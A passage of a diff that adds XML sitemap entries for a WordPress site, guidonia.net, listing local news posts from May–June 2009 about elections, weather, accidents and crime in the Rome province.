+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lieve-evento-sismico-in-provinci-di-roma-magnitudo-18-newsway.html</loc>
+		<lastmod>2009-06-10T14:26:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/terremoto-lieve-scossa-in-provincia-di-roma-agi-agenzia-giornalistica-italia.html</loc>
+		<lastmod>2009-06-10T14:26:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-astorre-pd-prima-ballotaggi-poi-i-nuovi-incarichi-libero-newsit.html</loc>
+		<lastmod>2009-06-10T13:02:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/leontina-ionescu-una-romena-in-consiglio-comunale-stranieri-in-italia.html</loc>
+		<lastmod>2009-06-10T10:14:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/comuni-il-pd-sul-5-3-ma-il-pdl-puo-rimontare-il-giornale.html</loc>
+		<lastmod>2009-06-10T05:03:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-faro-brilla-sempre-piu.html</loc>
+		<lastmod>2009-06-09T20:06:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/no-allo-spreco-di-denaro-pubblico.html</loc>
+		<lastmod>2009-06-09T20:06:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-lucherini-positivi-risultati-pd-nella-provincia-di-roma-libero-newsit.html</loc>
+		<lastmod>2009-06-09T16:26:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-lucherini-bene-pd-in-provincia-di-roma-libero-newsit.html</loc>
+		<lastmod>2009-06-09T14:06:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-comunali-al-pdl-sabaudia-e-anagni-guidonia-al-ballottaggio-il-velino.html</loc>
+		<lastmod>2009-06-09T13:58:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/comunali-pdl-e-lega-fanno-man-bassa-la-sinistra-arranca-e-rischia-il-gazzettino.html</loc>
+		<lastmod>2009-06-09T11:24:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/elezioni-amministrative-2009-abitare-a-roma.html</loc>
+		<lastmod>2009-06-09T10:29:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/comunali-lazio-e-abruzzo-i-risultati-il-tempo.html</loc>
+		<lastmod>2009-06-09T06:26:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-comunali-guidonia-al-ballottaggio-palestrina-al-il-gazzettino.html</loc>
+		<lastmod>2009-06-08T22:02:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-comunali-guidonia-al-ballottaggio-monterotondo-frascati-il-messaggero.html</loc>
+		<lastmod>2009-06-08T21:55:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-astorre-pd-in-provincia-di-roma-si-afferma-libero-newsit.html</loc>
+		<lastmod>2009-06-08T20:04:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/s-michele-arcangelo-montecelio-2009.html</loc>
+		<lastmod>2009-06-08T10:13:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/election-day-un-primo-sabato-di-scarsa-affluenza-il-giornale.html</loc>
+		<lastmod>2009-06-07T05:02:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/antonio-brancalion-career-record-bleacher-report.html</loc>
+		<lastmod>2009-06-06T21:02:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stupro-alla-bufalotta-spunta-un-supertestimone-la-repubblica.html</loc>
+		<lastmod>2009-06-06T11:41:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/festa-carabinieri-la-russa-risorsa-italia-apprezzata-ovunque-stato-oggi.html</loc>
+		<lastmod>2009-06-05T19:27:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-vittima-%c2%abe-sbucato-dal-buio-col-passamontagna%c2%bb-di-marco-de-il-messaggero.html</loc>
+		<lastmod>2009-06-05T19:27:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-nel-mirino-dei-violentitra-stupri-e-bravate-di-periferia-apcom.html</loc>
+		<lastmod>2009-06-05T17:34:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-lippiello-tutti-promettono-case-e-lavoro-come-se-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-05T15:38:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-stuprata-mentre-parcheggiava-la-macchina-in-box-la-voce-ditalia.html</loc>
+		<lastmod>2009-06-05T14:04:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/non-solo-europee-il-lazio-sceglie-176-sindaci-la-repubblica.html</loc>
+		<lastmod>2009-06-05T13:58:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/violentata-alla-periferia-di-roma-rainews24.html</loc>
+		<lastmod>2009-06-05T13:33:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-stupro-alla-bufalotta-giornalista-legata-aggredita-e-blitz-quotidiano.html</loc>
+		<lastmod>2009-06-05T12:04:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-34enne-giornalista-immobilizzata-e-stuprata-pupia.html</loc>
+		<lastmod>2009-06-05T11:57:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-giornalista-aggredita-e-stuprata-da-un-uomo-incappucciato-loccidentale.html</loc>
+		<lastmod>2009-06-05T11:46:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/uomini-che-odiano-le-donne-abitare-a-roma.html</loc>
+		<lastmod>2009-06-05T11:03:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fabrizio-moro-canta-il-caso-noemi-excite-italia.html</loc>
+		<lastmod>2009-06-05T10:21:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-aggredita-e-violentata-mentre-parcheggia-nel-garage-di-casa-adnkronosign.html</loc>
+		<lastmod>2009-06-05T09:04:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%abe-sbucato-dal-buio-col-viso-coperto%c2%bb-il-mattino.html</loc>
+		<lastmod>2009-06-05T08:32:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-violentata-nel-garage-di-casa-il-messaggero.html</loc>
+		<lastmod>2009-06-05T08:18:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stuprata-nel-garage-sotto-casa-il-secolo-xix.html</loc>
+		<lastmod>2009-06-05T07:38:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/non-solo-europee-il-lazio-sceglie-181-sindaci-la-repubblica.html</loc>
+		<lastmod>2009-06-05T07:25:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/giornalista-violentata-in-garage-il-tempo.html</loc>
+		<lastmod>2009-06-05T07:01:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-citta-degli-stupri-violenza-alla-bufalotta-la-repubblica.html</loc>
+		<lastmod>2009-06-05T06:31:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stupro-alla-bufalotta-vivere-roma.html</loc>
+		<lastmod>2009-06-05T06:17:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/bufalotta-violentata-da-un-uomo-incappaucciato-la-repubblica.html</loc>
+		<lastmod>2009-06-05T05:41:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/violentata-nel-garage-metro.html</loc>
+		<lastmod>2009-06-05T05:13:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cronaca-donna-violentata-in-un-garage-alla-bufalotta-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-06-05T04:13:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/giornalista-stuprata-in-garage-il-tempo.html</loc>
+		<lastmod>2009-06-05T04:00:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-34enne-violentata-mentre-rientrava-a-ca-apcom.html</loc>
+		<lastmod>2009-06-04T21:08:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-aggredita-e-violentata-mentre-parcheggia-alla-bufalotta-libero-newsit.html</loc>
+		<lastmod>2009-06-04T18:40:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/donna-violentata-nel-garage-sotto-casa-corriere-della-sera.html</loc>
+		<lastmod>2009-06-04T18:38:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/giornalista-violentata-alla-bufalotta-legata-e-aggredita-nel-box-il-messaggero.html</loc>
+		<lastmod>2009-06-04T18:27:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-stuprata-una-donna-tgcom.html</loc>
+		<lastmod>2009-06-04T18:23:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-dopo-le-vicende-che-hanno-condotto-al-commissariamento-abitare-a-roma.html</loc>
+		<lastmod>2009-06-04T14:35:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/museo-storico-am-monumento-a-ferrarin-dedalo-news.html</loc>
+		<lastmod>2009-06-04T14:33:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/conserviamo-il-pozzo-del-merro.html</loc>
+		<lastmod>2009-06-04T14:10:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/un-fine-settimana-alle-urne-tra-europee-e-amministrative-il-giornale.html</loc>
+		<lastmod>2009-06-04T05:10:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amministrative-nel-lazio-si-vota-in-176-comuni-e-3-province-asca.html</loc>
+		<lastmod>2009-06-03T15:40:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-pagano-leonetti-non-e-sindaco-della-sinistra-il-velino.html</loc>
+		<lastmod>2009-06-03T14:59:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-eligio-rubeis-chiude-campagna-elettorale-giovedi-a-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-06-03T14:58:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-acea-verso-conclusione-lavori-centro-s-cesareo-libero-newsit.html</loc>
+		<lastmod>2009-06-01T18:41:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-comunali-idv-corre-da-solo-leonetti-sfida-pd-e-pdl-il-velino.html</loc>
+		<lastmod>2009-06-01T15:29:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-comunali-faccia-a-faccia-rubeis-pagano-il-velino.html</loc>
+		<lastmod>2009-06-01T13:58:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frammenti-2009.html</loc>
+		<lastmod>2009-06-01T10:23:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/montecelio-e-villa-adriana-tra-storia-e-natura-fuorilemurait.html</loc>
+		<lastmod>2009-05-31T22:01:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/2-giugno-radici-nel-cemento-alla-pinetina-di-guidonia.html</loc>
+		<lastmod>2009-05-31T09:20:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tibur-supergulp.html</loc>
+		<lastmod>2009-05-30T13:22:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/uno-show-per-labruzzo.html</loc>
+		<lastmod>2009-05-29T19:41:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-rubeis-lippiello-giustizialista-solidarieta-al-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-29T15:15:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-solidarieta-a-comune-di-locri-dopo-affermazioni-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-29T13:35:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-oggi-pagano-incontra-giornalisti-dopo-confronto-con-rubeis-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-29T12:49:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/intesa-quadro-infrastrutture-le-opere-abruzzesi-finanziate-abruzzo24oretv.html</loc>
+		<lastmod>2009-05-29T09:07:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/locri-il-sindaco-macri-querela-il-candidato-a-sindaco-di-guidonia-newzit.html</loc>
+		<lastmod>2009-05-28T23:05:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-incontro-con-i-candidati-a-sindaco.html</loc>
+		<lastmod>2009-05-28T23:05:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/infrastrutture-in-abruzzo-elenco-delle-opere-ma-per-legnini-l-il-capoluogoit.html</loc>
+		<lastmod>2009-05-28T20:25:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-sindaco-della-citta-di-locri-francesco-macri-ha-dato-mandato-melito-online.html</loc>
+		<lastmod>2009-05-28T19:45:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/infrastrutture-accordo-governo-regione-abruzzo-la-lista-2-asca.html</loc>
+		<lastmod>2009-05-28T15:21:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-stiffoni-atto-vandalico-contro-sede-lega-guidonia-libero-newsit.html</loc>
+		<lastmod>2009-05-28T14:43:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-proposta-di-invio-dellesercito-e-irricevibile-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-28T13:25:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/massacrata-di-botte-nella-metropolitana-perche-ha-rifiutato-le-avances-il-messaggero.html</loc>
+		<lastmod>2009-05-28T10:33:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/brutti-sporchi-e-cattivi.html</loc>
+		<lastmod>2009-05-27T22:05:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-rubeis-denuncia-atti-vandalici-contro-sede-lega-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-27T17:13:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/massacrata-di-botte-nella-metropolitana-il-messaggero.html</loc>
+		<lastmod>2009-05-27T16:11:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/g8-a-volto-coperto-danneggiano-sede-lega-nord-a-guidonia-il-messaggero.html</loc>
+		<lastmod>2009-05-27T15:29:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-candidatura-di-rubeis-calata-dallalto-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-27T13:59:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-urbanistica-provincia-firma-protocollo-con-comune-di-guidonia-libero-newsit.html</loc>
+		<lastmod>2009-05-27T12:41:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/alstom-trasport-italia-lancia-nuovo-cervellone-stazione-bologna-la-repubblica.html</loc>
+		<lastmod>2009-05-27T10:47:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/filippo-lippiello-%e2%80%9csmantellai-il-sistema-mi-hanno-diffamato-e-agoravox-italia.html</loc>
+		<lastmod>2009-05-27T07:42:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/raccolta-rifiuti-informatici.html</loc>
+		<lastmod>2009-05-26T20:13:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/temperature-da-girone-infernale-il-25-maggio-a-roma-e-provincia-abitare-a-roma.html</loc>
+		<lastmod>2009-05-26T15:15:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/invito-candidati-a-sindaco-per-discutere-di-salute-mentale-a-guidonia-mercoledi.html</loc>
+		<lastmod>2009-05-26T08:54:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nebbia-in-romagna-clima-tropicale-atteso-caldo-opprimente-meteo-giornale.html</loc>
+		<lastmod>2009-05-26T08:11:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/target-105-investire-in-immobili-a-sconto-in-italia-e-romania-informazioneit-comunicati-stampa-comunicati-stampa.html</loc>
+		<lastmod>2009-05-26T07:35:57+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nuova-onda-di-calore-previsioni-a-lungo-termine-meteo-giornale.html</loc>
+		<lastmod>2009-05-26T06:15:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-supercaldo-sconfitto-in-serata-dai-temporali-al-nord-meteoliveit.html</loc>
+		<lastmod>2009-05-26T06:11:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ondata-di-caldo-la-maggiore-estensione-dei-30%c2%b0c-meteo-giornale.html</loc>
+		<lastmod>2009-05-26T05:42:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sindrome-da-caldo-estate-2003-si-teme-unestate-dal-caldo-storico-meteo-giornale.html</loc>
+		<lastmod>2009-05-26T05:31:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/grandine-temporali-diverse-citta-europee-sotto-il-maltempo-estremo-meteo-giornale.html</loc>
+		<lastmod>2009-05-26T05:31:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/convegno-sul-pozzo-del-merro.html</loc>
+		<lastmod>2009-05-25T20:32:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-manca-lacqua-a-guidonia-lippiello-ripristinate-subito-il-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-25T15:28:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-rubeis-i-rom-nel-nostro-comune-li-voleva-veltroni-il-velino.html</loc>
+		<lastmod>2009-05-25T14:30:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-rubeis-i-rom-nel-nostro-comune-li-voleva-veltroni-il-velino-2.html</loc>
+		<lastmod>2009-05-25T14:30:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-rubeis-candidato-sindaco-pdl-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-05-25T14:07:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/italia-eccezionale-ondata-di-caldo-crollano-i-record-meteo-giornale.html</loc>
+		<lastmod>2009-05-25T09:10:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/hai-un-blog-e-sei-di-guidonia.html</loc>
+		<lastmod>2009-05-24T17:21:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-controlli-stradali-carabinieri-a-tivoli-e-guidonia-4-denunce-libero-newsit.html</loc>
+		<lastmod>2009-05-24T12:01:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/provincia-bilancio-del-primo-anno-della-giunta-zingaretti-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-05-24T00:43:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-incidente-stradale-3-morti-ed-un-ferito-grave-pupia.html</loc>
+		<lastmod>2009-05-23T15:21:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-sindaco-incontra-i-lavoratori.html</loc>
+		<lastmod>2009-05-23T13:05:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/donati-1500-libri-alle-biblioteche-di-guidonia.html</loc>
+		<lastmod>2009-05-23T13:05:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scontro-tra-due-auto-tre-i-morti-ansa.html</loc>
+		<lastmod>2009-05-23T12:41:37+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-auto-invade-altra-corsia-3-morti-una-ragazza-e-in-gravi-il-mattino.html</loc>
+		<lastmod>2009-05-23T12:02:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scontro-frontale-a-guidonia-montecelio-tre-morti-adnkronosign.html</loc>
+		<lastmod>2009-05-23T10:49:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/incidenti-scontro-frontale-a-guidonia-montecelio-tre-morti-libero-newsit.html</loc>
+		<lastmod>2009-05-23T09:01:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scontro-tra-due-auto-tre-morti-ansa.html</loc>
+		<lastmod>2009-05-23T08:24:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
